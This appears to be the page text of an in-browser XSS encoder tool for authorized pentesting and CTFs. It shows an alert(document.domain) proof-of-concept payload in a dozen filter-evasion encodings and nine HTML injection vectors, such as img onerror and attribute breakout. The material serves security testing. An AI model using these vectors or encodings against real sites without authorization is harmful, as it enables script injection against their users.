XSS Encoder

Encode a JavaScript payload every way at once for authorized web pentesting and CTFs — URL, HTML entities, \u and \x escapes, String.fromCharCode, Base64, eval(atob), CSS and octal — and auto-generate common XSS injection vectors. Pure string transforms, offline in your browser session; nothing is sent.

Encodings

  • URL encode
    %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29
  • Double URL
    %2561%256C%2565%2572%2574%2528%2564%256F%2563%2575%256D%2565%256E%2574%252E%2564%256F%256D%2561%2569%256E%2529
  • HTML entities (decimal)
    alert(document.domain)
  • HTML entities (hex)
    alert(document.domain)
  • JS Unicode (\u)
    \u0061\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0064\u006f\u006d\u0061\u0069\u006e\u0029
  • JS Hex (\x)
    \x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29
  • String.fromCharCode
    String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41)
  • Base64
    YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
  • eval(atob())
    eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))
  • decodeURIComponent
    decodeURIComponent('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29')
  • CSS escape
    \61 \6c \65 \72 \74 \28 \64 \6f \63 \75 \6d \65 \6e \74 \2e \64 \6f \6d \61 \69 \6e \29 
  • Octal escape
    \141\154\145\162\164\50\144\157\143\165\155\145\156\164\56\144\157\155\141\151\156\51

Injection vectors

  • <script>
    <script>alert(document.domain)</script>
  • Attribute breakout
    "><script>alert(document.domain)</script>
  • img onerror
    <img src=x onerror="alert(document.domain)">
  • svg onload
    <svg onload="alert(document.domain)">
  • body onload
    <body onload="alert(document.domain)">
  • iframe javascript:
    <iframe src="javascript:alert(document.domain)">
  • details ontoggle
    <details open ontoggle="alert(document.domain)">
  • input onfocus
    <input autofocus onfocus="alert(document.domain)">
  • javascript: URI
    javascript:alert(document.domain)